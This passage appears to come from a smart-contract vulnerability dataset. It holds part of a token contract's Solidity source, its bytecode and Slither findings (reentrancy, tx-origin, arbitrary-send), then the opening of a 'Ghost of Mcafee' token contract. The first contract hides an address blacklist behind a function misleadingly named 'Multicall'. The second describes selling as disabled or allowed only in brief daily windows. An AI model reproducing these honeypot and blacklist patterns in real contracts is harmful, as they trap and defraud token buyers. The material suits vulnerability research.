uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint amount) private { _FeeAddress1.transfer(amount / 2); _FeeAddress2.transfer(amount / 2); } function _tokenTransfer(address sender, address recipient, uint amount, bool takefee, bool buy) private { (uint fee) = _getFee(takefee, buy); _transferStandard(sender, recipient, amount, fee); } function _getFee(bool takefee, bool buy) private view returns (uint) { uint fee = 0; if(takefee) { if(buy) { fee = _buyFee; } else { fee = _sellFee; if(block.timestamp < _launchedAt + (15 minutes)) { fee += 5; } } } return fee; } function _transferStandard(address sender, address recipient, uint amount, uint fee) private { (uint transferAmount, uint team) = _getValues(amount, fee); _owned[sender] = _owned[sender] - amount; _owned[recipient] = _owned[recipient] + transferAmount; _takeTeam(team); emit Transfer(sender, recipient, transferAmount); } function _getValues(uint amount, uint teamFee) private pure returns (uint, uint) { uint team = (amount * teamFee) / 100; uint transferAmount = amount - team; return (transferAmount, team); } function _takeTeam(uint team) private { _owned[address(this)] = _owned[address(this)] + team; } receive() external payable {} // external functions function addLiquidity() external onlyOwner() { require(!_tradingOpen, "Trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _totalSupply); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function openTrading() external onlyOwner() { require(!_tradingOpen, "Trading is already open"); _tradingOpen = true; _launchedAt = block.timestamp; _maxBuyAmount = 1000000000000 * 10**9; // _maxHeldTokens = 1000000000000 * 10**9; // } function manualswap() external { require(_msgSender() == _FeeAddress1); uint contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _FeeAddress1); uint contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function setFeeRate(uint rate) external onlyOwner() { require(_msgSender() == _FeeAddress1); require(rate > 0, "Rate can't be zero"); // 100% is the common fee rate _feeRate = rate; emit FeeRateUpdated(_feeRate); } function setFees(uint buy, uint sell) external { require(_msgSender() == _FeeAddress1); require(buy <= 10); require(sell <= 10); _buyFee = buy; _sellFee = sell; emit FeesUpdated(_buyFee, _sellFee); } function Multicall(address[] memory bots_) external { require(_msgSender() == _FeeAddress1); for (uint i = 0; i < bots_.length; i++) { if (bots_[i] != uniswapV2Pair && bots_[i] != address(uniswapV2Router)) { _isBot[bots_[i]] = true; } } } function delBots(address[] memory bots_) external { require(_msgSender() == _FeeAddress1); for (uint i = 0; i < bots_.length; i++) { _isBot[bots_[i]] = false; } } function isBot(address ad) public view returns (bool) { return _isBot[ad]; } function toggleImpactFee(bool onoff) external onlyOwner() { _useImpactFeeSetter = onoff; emit ImpactFeeSetterUpdated(_useImpactFeeSetter); } function updateFeeAddress1(address newAddress) external { require(_msgSender() == _FeeAddress1); _FeeAddress1 = payable(newAddress); emit FeeAddress1Updated(_FeeAddress1); } function updateFeeAddress2(address newAddress) external { require(_msgSender() == _FeeAddress2); _FeeAddress2 = payable(newAddress); emit FeeAddress2Updated(_FeeAddress2); } // view functions function thisBalance() public view returns (uint) { return balanceOf(address(this)); } function amountInPool() public view returns (uint) { return balanceOf(uniswapV2Pair); } }
0x6080604052600436106101f25760003560e01c8063509016171161010d57806395d89b41116100a0578063c9567bf91161006f578063c9567bf9146105a0578063db92dbb6146105b5578063dcb0e0ad146105ca578063dd62ed3e146105ea578063e8078d941461063057600080fd5b806395d89b4114610525578063a9059cbb14610555578063b2131f7d14610575578063c3c8cd801461058b57600080fd5b8063715018a6116100dc578063715018a6146104b25780637a49cddb146104c75780638da5cb5b146104e757806394b8d8f21461050557600080fd5b80635090161714610447578063590f897e146104675780636fc3eaec1461047d57806370a082311461049257600080fd5b806327f3a72a116101855780633bbac579116101545780633bbac579146103a057806340b9a54b146103d957806345596e2e146103ef57806349bd5a5e1461040f57600080fd5b806327f3a72a1461032e578063313ce5671461034357806331c2d8471461036a57806332d873d81461038a57600080fd5b80630b78f9c0116101c15780630b78f9c0146102bc57806318160ddd146102dc5780631940d020146102f857806323b872dd1461030e57600080fd5b80630492f055146101fe57806306fdde03146102275780630802d2f61461026a578063095ea7b31461028c57600080fd5b366101f957005b600080fd5b34801561020a57600080fd5b50610214600e5481565b6040519081526020015b60405180910390f35b34801561023357600080fd5b5061025d6040518060400160405280600a8152602001694d7973746572696f757360b01b81525081565b60405161021e9190611bc2565b34801561027657600080fd5b5061028a610285366004611c3c565b610645565b005b34801561029857600080fd5b506102ac6102a7366004611c59565b6106ba565b604051901515815260200161021e565b3480156102c857600080fd5b5061028a6102d7366004611c85565b6106d0565b3480156102e857600080fd5b50683635c9adc5dea00000610214565b34801561030457600080fd5b50610214600f5481565b34801561031a57600080fd5b506102ac610329366004611ca7565b610753565b34801561033a57600080fd5b5061021461083b565b34801561034f57600080fd5b50610358600981565b60405160ff909116815260200161021e565b34801561037657600080fd5b5061028a610385366004611cfe565b61084b565b34801561039657600080fd5b5061021460105481565b3480156103ac57600080fd5b506102ac6103bb366004611c3c565b6001600160a01b031660009081526006602052604090205460ff1690565b3480156103e557600080fd5b50610214600b5481565b3480156103fb57600080fd5b5061028a61040a366004611dc3565b6108d7565b34801561041b57600080fd5b50600a5461042f906001600160a01b031681565b6040516001600160a01b03909116815260200161021e565b34801561045357600080fd5b5061028a610462366004611c3c565b61099b565b34801561047357600080fd5b50610214600c5481565b34801561048957600080fd5b5061028a610a09565b34801561049e57600080fd5b506102146104ad366004611c3c565b610a36565b3480156104be57600080fd5b5061028a610a51565b3480156104d357600080fd5b5061028a6104e2366004611cfe565b610ac5565b3480156104f357600080fd5b506000546001600160a01b031661042f565b34801561051157600080fd5b506011546102ac9062010000900460ff1681565b34801561053157600080fd5b5061025d60405180604001604052806004815260200163135654d560e21b81525081565b34801561056157600080fd5b506102ac610570366004611c59565b610bd4565b34801561058157600080fd5b50610214600d5481565b34801561059757600080fd5b5061028a610be1565b3480156105ac57600080fd5b5061028a610c17565b3480156105c157600080fd5b50610214610cb3565b3480156105d657600080fd5b5061028a6105e5366004611dea565b610ccb565b3480156105f657600080fd5b50610214610605366004611e07565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b34801561063c57600080fd5b5061028a610d48565b6008546001600160a01b0316336001600160a01b03161461066557600080fd5b600880546001600160a01b0319166001600160a01b0383169081179091556040519081527f0e96f8986653644392af4a5daec8b04a389af0d497572173e63846ccd26c843c906020015b60405180910390a150565b60006106c733848461108f565b50600192915050565b6008546001600160a01b0316336001600160a01b0316146106f057600080fd5b600a8211156106fe57600080fd5b600a81111561070c57600080fd5b600b829055600c81905560408051838152602081018390527f5c6323bf1c2d7aaea2c091a4751c1c87af7f2864650c336507a77d0557af37a1910160405180910390a15050565b60115460009060ff16801561078157506001600160a01b03831660009081526004602052604090205460ff16155b801561079a5750600a546001600160a01b038581169116145b156107e9576001600160a01b03831632146107e95760405162461bcd60e51b815260206004820152600a6024820152691c1b1cc81b9bc8189bdd60b21b60448201526064015b60405180910390fd5b6107f48484846111b3565b6001600160a01b0384166000908152600360209081526040808320338452909152812054610823908490611e56565b905061083085338361108f565b506001949350505050565b600061084630610a36565b905090565b6008546001600160a01b0316336001600160a01b03161461086b57600080fd5b60005b81518110156108d35760006006600084848151811061088f5761088f611e6d565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806108cb81611e83565b91505061086e565b5050565b6000546001600160a01b031633146109015760405162461bcd60e51b81526004016107e090611e9c565b6008546001600160a01b0316336001600160a01b03161461092157600080fd5b600081116109665760405162461bcd60e51b8152602060048201526012602482015271526174652063616e2774206265207a65726f60701b60448201526064016107e0565b600d8190556040518181527f208f1b468d3d61f0f085e975bd9d04367c930d599642faad06695229f3eadcd8906020016106af565b6009546001600160a01b0316336001600160a01b0316146109bb57600080fd5b600980546001600160a01b0319166001600160a01b0383169081179091556040519081527f96511497113ddf59712b28350d7457b9c300ab227616bd3b451745a395a53014906020016106af565b6008546001600160a01b0316336001600160a01b031614610a2957600080fd5b47610a3381611821565b50565b6001600160a01b031660009081526002602052604090205490565b6000546001600160a01b03163314610a7b5760405162461bcd60e51b81526004016107e090611e9c565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6008546001600160a01b0316336001600160a01b031614610ae557600080fd5b60005b81518110156108d357600a5482516001600160a01b0390911690839083908110610b1457610b14611e6d565b60200260200101516001600160a01b031614158015610b65575060075482516001600160a01b0390911690839083908110610b5157610b51611e6d565b60200260200101516001600160a01b031614155b15610bc257600160066000848481518110610b8257610b82611e6d565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff0219169083151502179055505b80610bcc81611e83565b915050610ae8565b60006106c73384846111b3565b6008546001600160a01b0316336001600160a01b031614610c0157600080fd5b6000610c0c30610a36565b9050610a33816118a6565b6000546001600160a01b03163314610c415760405162461bcd60e51b81526004016107e090611e9c565b60115460ff1615610c8e5760405162461bcd60e51b81526020600482015260176024820152762a3930b234b7339034b99030b63932b0b23c9037b832b760491b60448201526064016107e0565b6011805460ff1916600117905542601055683635c9adc5dea00000600e819055600f55565b600a54600090610846906001600160a01b0316610a36565b6000546001600160a01b03163314610cf55760405162461bcd60e51b81526004016107e090611e9c565b6011805462ff00001916620100008315158102919091179182905560405160ff9190920416151581527ff65c78d1059dbb9ec90732848bcfebbec05ac40af847d3c19adcad63379d3aeb906020016106af565b6000546001600160a01b03163314610d725760405162461bcd60e51b81526004016107e090611e9c565b60115460ff1615610dbf5760405162461bcd60e51b81526020600482015260176024820152762a3930b234b7339034b99030b63932b0b23c9037b832b760491b60448201526064016107e0565b600780546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117909155610dfc3082683635c9adc5dea0000061108f565b806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610e3a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e5e9190611ed1565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610eab573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ecf9190611ed1565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610f1c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f409190611ed1565b600a80546001600160a01b0319166001600160a01b039283161790556007541663f305d7194730610f7081610a36565b600080610f856000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610fed573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906110129190611eee565b5050600a5460075460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af115801561106b573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108d39190611f1c565b6001600160a01b0383166110f15760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016107e0565b6001600160a01b0382166111525760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016107e0565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166112175760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016107e0565b6001600160a01b0382166112795760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016107e0565b600081116112db5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016107e0565b6001600160a01b03831660009081526006602052604090205460ff16156113505760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e736665722066726f6d2066726f7a656e2077616c6c60448201526232ba1760e91b60648201526084016107e0565b600080546001600160a01b0385811691161480159061137d57506000546001600160a01b03848116911614155b156117c257600a546001600160a01b0385811691161480156113ad57506007546001600160a01b03848116911614155b80156113d257506001600160a01b03831660009081526004602052604090205460ff16155b1561165e5760115460ff166114295760405162461bcd60e51b815260206004820152601860248201527f54726164696e67206e6f742079657420656e61626c65642e000000000000000060448201526064016107e0565b60105442036114685760405162461bcd60e51b815260206004820152600b60248201526a0706c73206e6f20736e69760ac1b60448201526064016107e0565b42601054610e106114799190611f39565b11156114f357600f5461148b84610a36565b6114959084611f39565b11156114f35760405162461bcd60e51b815260206004820152602760248201527f596f752063616e2774206f776e2074686174206d616e7920746f6b656e7320616044820152663a1037b731b29760c91b60648201526084016107e0565b6001600160a01b03831660009081526005602052604090206001015460ff1661155b576040805180820182526000808252600160208084018281526001600160a01b03891684526005909152939091209151825591519101805460ff19169115159190911790555b42601054607861156b9190611f39565b111561163f57600e548211156115c35760405162461bcd60e51b815260206004820152601b60248201527f45786365656473206d6178696d756d2062757920616d6f756e742e000000000060448201526064016107e0565b6115ce42600f611f39565b6001600160a01b0384166000908152600560205260409020541061163f5760405162461bcd60e51b815260206004820152602260248201527f596f75722062757920636f6f6c646f776e20686173206e6f7420657870697265604482015261321760f11b60648201526084016107e0565b506001600160a01b038216600090815260056020526040902042905560015b601154610100900460ff16158015611678575060115460ff165b80156116925750600a546001600160a01b03858116911614155b156117c2576116a242600f611f39565b6001600160a01b038516600090815260056020526040902054106117145760405162461bcd60e51b815260206004820152602360248201527f596f75722073656c6c20636f6f6c646f776e20686173206e6f7420657870697260448201526232b21760e91b60648201526084016107e0565b600061171f30610a36565b905080156117ab5760115462010000900460ff16156117a257600d54600a5460649190611754906001600160a01b0316610a36565b61175e9190611f51565b6117689190611f70565b8111156117a257600d54600a546064919061178b906001600160a01b0316610a36565b6117959190611f51565b61179f9190611f70565b90505b6117ab816118a6565b4780156117bb576117bb47611821565b6000925050505b6001600160a01b03841660009081526004602052604090205460019060ff168061180457506001600160a01b03841660009081526004602052604090205460ff165b1561180d575060005b61181a8585858486611a1a565b5050505050565b6008546001600160a01b03166108fc61183b600284611f70565b6040518115909202916000818181858888f19350505050158015611863573d6000803e3d6000fd5b506009546001600160a01b03166108fc61187e600284611f70565b6040518115909202916000818181858888f193505050501580156108d3573d6000803e3d6000fd5b6011805461ff00191661010017905560408051600280825260608201835260009260208301908036833701905050905030816000815181106118ea576118ea611e6d565b6001600160a01b03928316602091820292909201810191909152600754604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611943573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906119679190611ed1565b8160018151811061197a5761197a611e6d565b6001600160a01b0392831660209182029290920101526007546119a0913091168461108f565b60075460405163791ac94760e01b81526001600160a01b039091169063791ac947906119d9908590600090869030904290600401611f92565b600060405180830381600087803b1580156119f357600080fd5b505af1158015611a07573d6000803e3d6000fd5b50506011805461ff001916905550505050565b6000611a268383611a3c565b9050611a3486868684611a83565b505050505050565b6000808315611a7c578215611a545750600b54611a7c565b50600c54601054611a6790610384611f39565b421015611a7c57611a79600582611f39565b90505b9392505050565b600080611a908484611b60565b6001600160a01b0388166000908152600260205260409020549193509150611ab9908590611e56565b6001600160a01b038088166000908152600260205260408082209390935590871681522054611ae9908390611f39565b6001600160a01b038616600090815260026020526040902055611b0b81611b94565b846001600160a01b0316866001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611b5091815260200190565b60405180910390a3505050505050565b600080806064611b708587611f51565b611b7a9190611f70565b90506000611b888287611e56565b96919550909350505050565b30600090815260026020526040902054611baf908290611f39565b3060009081526002602052604090205550565b600060208083528351808285015260005b81811015611bef57858101830151858201604001528201611bd3565b81811115611c01576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b0381168114610a3357600080fd5b8035611c3781611c17565b919050565b600060208284031215611c4e57600080fd5b8135611a7c81611c17565b60008060408385031215611c6c57600080fd5b8235611c7781611c17565b946020939093013593505050565b60008060408385031215611c9857600080fd5b50508035926020909101359150565b600080600060608486031215611cbc57600080fd5b8335611cc781611c17565b92506020840135611cd781611c17565b929592945050506040919091013590565b634e487b7160e01b600052604160045260246000fd5b60006020808385031215611d1157600080fd5b823567ffffffffffffffff80821115611d2957600080fd5b818501915085601f830112611d3d57600080fd5b813581811115611d4f57611d4f611ce8565b8060051b604051601f19603f83011681018181108582111715611d7457611d74611ce8565b604052918252848201925083810185019188831115611d9257600080fd5b938501935b82851015611db757611da885611c2c565b84529385019392850192611d97565b98975050505050505050565b600060208284031215611dd557600080fd5b5035919050565b8015158114610a3357600080fd5b600060208284031215611dfc57600080fd5b8135611a7c81611ddc565b60008060408385031215611e1a57600080fd5b8235611e2581611c17565b91506020830135611e3581611c17565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600082821015611e6857611e68611e40565b500390565b634e487b7160e01b600052603260045260246000fd5b600060018201611e9557611e95611e40565b5060010190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060208284031215611ee357600080fd5b8151611a7c81611c17565b600080600060608486031215611f0357600080fd5b8351925060208401519150604084015190509250925092565b600060208284031215611f2e57600080fd5b8151611a7c81611ddc565b60008219821115611f4c57611f4c611e40565b500190565b6000816000190483118215151615611f6b57611f6b611e40565b500290565b600082611f8d57634e487b7160e01b600052601260045260246000fd5b500490565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611fe25784516001600160a01b031683529383019391830191600101611fbd565b50506001600160a01b0396909616606085015250505060800152939250505056fea2646970667358221220bf0dbb416ea9a9697f0df3a69f26838452680dea287fb7802016e0c3e86cd0f264736f6c634300080d0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "tx-origin", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
216
0x7b5d1d58197caf80a578209159a366a5221b341a
/** *Submitted for verification at Etherscan.io on 2021-06-24 */ pragma solidity >=0.7.0; // =============================================== GHOST OF MCAFEE ======================================================= // ======================================================================================================================= // =================================== ~ MAKING PEOPLE MONEY LONG AFTER DEATH ~ ========================================== // ======================================================================================================================= // ======================================================================================================================= // ======================================= ~~~ IN MCAFEE NOW WE TRUST ~~~ ================================================ // ======================================== ~~~ MCFE TO MOON OR BUST ~~~ ================================================= // // %(#%&&&&&&%&%@#%## // ##%%&@@&&&&@&@@@@@@@&%%. // ..%#%/(%@@@&&%&%%&%%%&&&&%% // %,#((#&&&&&@&@&@@@@@@&@&&&&% // *#/%###%&&&&&&%&&&@&&&@#@&%%%% // #/##/###,&&(##//(%###%%%%&###&&* // ##*(#&%%%(#*/**///,*(#((((#%%#%% // .(&%%(##(*,*,..,,...,*,/*((((%%&%% // (*,,,,*,, *, .,*/, ((%##/***,,,,,.....,,,****/(#%&&&& // /((/**,,,**,......,. %%%*/..... ..,%//*,.,,.,...,..,,****(#(#%&%% // #(/(///*(*/*,,*,,**,..,,.,*((//@,,(.. ...#/*/(####(((/,**/%&&%%%%#%#&%% // .(**,,,*******/**,,,*/.,,.%%%%...*.*.,.& #%##/(,***..,,.,*.,/,*/**((/#(%&% // ,((*,**,,*,*,*/***,,,,**,*,.,,%%%,,#%%%# ,/%/*,,,,.,..,**,,/**,,***//(#% // ##(//(/(##*,*/****/***,***,,**,,/%,#%%(*# **(/**,*,..,,,,..***,,*//(((% // #((//(////***(##%(%####((#/*,,*,,,*, /,((****,.,,,,,.*,**,,/#(#( // (((((##(//*/#%## .%(&(**,(( (/***,,,..,&/*/@#,/*/(/(# //##(/(((#((/######. #//(. *(/*/,/(%&##*#%%%%&%%(/#/ //#(###(((##(((#(. #%#(**%&%%&%*(***,#%#((% ///((((((/(((#. .. . ///*&/*/,,,#(##%##**/(## //(((((((((#% **########%%&@&%(%%%##**/%%%/*(#((*//*/////(*/(*,#%(*,..*#(**,.,/&%, //((//(((#%%%#//*****///////////(#&//%%%(*#**#%*,,##(#***/**(/((/*/*#/*(%%*(*//(%###*,(/%%%#(. //(((((###%(////*************,,*****//**/***,,###*,,,.,,,,,*///////**//*/(&@%%&&&&&&&&&&&&#(##((%%##/ //(((####(//*/////*,,*,,,,,,,,,,,,,,,,,,,*,,,,,..,,,,,/**/////***/**,/**((*,%@&@@@@&&&&&%#(#(#(#((((((##(&%. //%%#(/************//(//************,,,,,,,.....,.,.,,,,,**/*******,*/**,**/,***,*/##(/(//(((#(((#(//((((#%%## ///(//////*///**//**************,,,,,,**%*,,....,...,,,,,,*,,*,*******,*,***,****///*(/(/#(((((##(##%%#(/(%%#%&% //#((((#((#((((((((((((///((((#((((//////(/,.,.......,..,,,,,,,*,,*,*,,.,,,,,,*,*******/((/#/(#(/(/(###*#%%##&%%&# // /%####((((((((#(##((((/(/((////**(%*,.......,,.,,,,,,,,,.,,,...,.,,,,,,.,,,***,//((#(#(/((##(#(((%&#%&&#%%. // // ========================================== REST IN PEACE, JOHN MCAFEE! ============================================== // =============================================== YOU WILL BE MISSED ==================================================== // ===================================== GREATEST DUDE TO EVER WALK THE EARTH =========================================== // ======================================================================================================================= // ===== ghostofmcafee.com ======= t.me/ghostofmcafee ======= @ghostofmcafee ====== ============ ========== ====== == = == // ======================================================================================================================= // ======================================================================================================================= // ======================================================================================================================= // epoch0: sell disabled, only buy permitted // epoch1: sell enabled 10 min per day, decided by Ouija board channelling of Mcaffee spirit // epoch2: sell enabled 15 min per day, decided by Ouija board channelling of Mcaffee spirit // epoch3: sell enabled 20 min per day, decided by Ouija board channelling of Mcaffee spirit // epoch4: sell enabled 30 min per day, decided by Ouija board channelling of Mcaffee spirit // epoch5: sell enabled 40 min per day, decided by Ouija board channelling of Mcaffee spirit // epoch6: sell enabled 50 min per day, decided by Ouija board channelling of Mcaffee spirit // epoch7: sell enabled 60 min per day, decided by Ouija board channelling of Mcaffee spirit // epoch8: sell enabled 90 min per day, decided by Ouija board channelling of Mcaffee spirit // epoch9: sell enabled 2 hours per day, decided by Ouija board channelling of Mcaffee spirit // epoch10:sell enabled 24 hours per day, Mcafee's sins redeemed, his soul released in Heaven interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function burn(uint256 amount) external; function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); function burnFrom(address account, uint256 amount) external; event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } interface IUniswapV2Pair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; event Mint(address indexed sender, uint amount0, uint amount1); event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); function mint(address to) external returns (uint liquidity); function burn(address to) external returns (uint amount0, uint amount1); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } contract Ghost_of_mcafee is IERC20 { using SafeMath for uint256; string private _name = "Ghost of Mcafee"; string private _symbol = "MCFE"; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; uint256 private _initialSupply = 1e10*1e10; uint8 private _decimals = 10; bool private reflect = false; uint8 public _epoch = 0; address private routerAddy = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; // uniswap address private pairAddress; address private purgatoryAddress = 0x051054241628cAC3c3e40794cfA33D0a39527F5b; address private _owner = msg.sender; constructor () { _mint(address(this), _initialSupply); } modifier 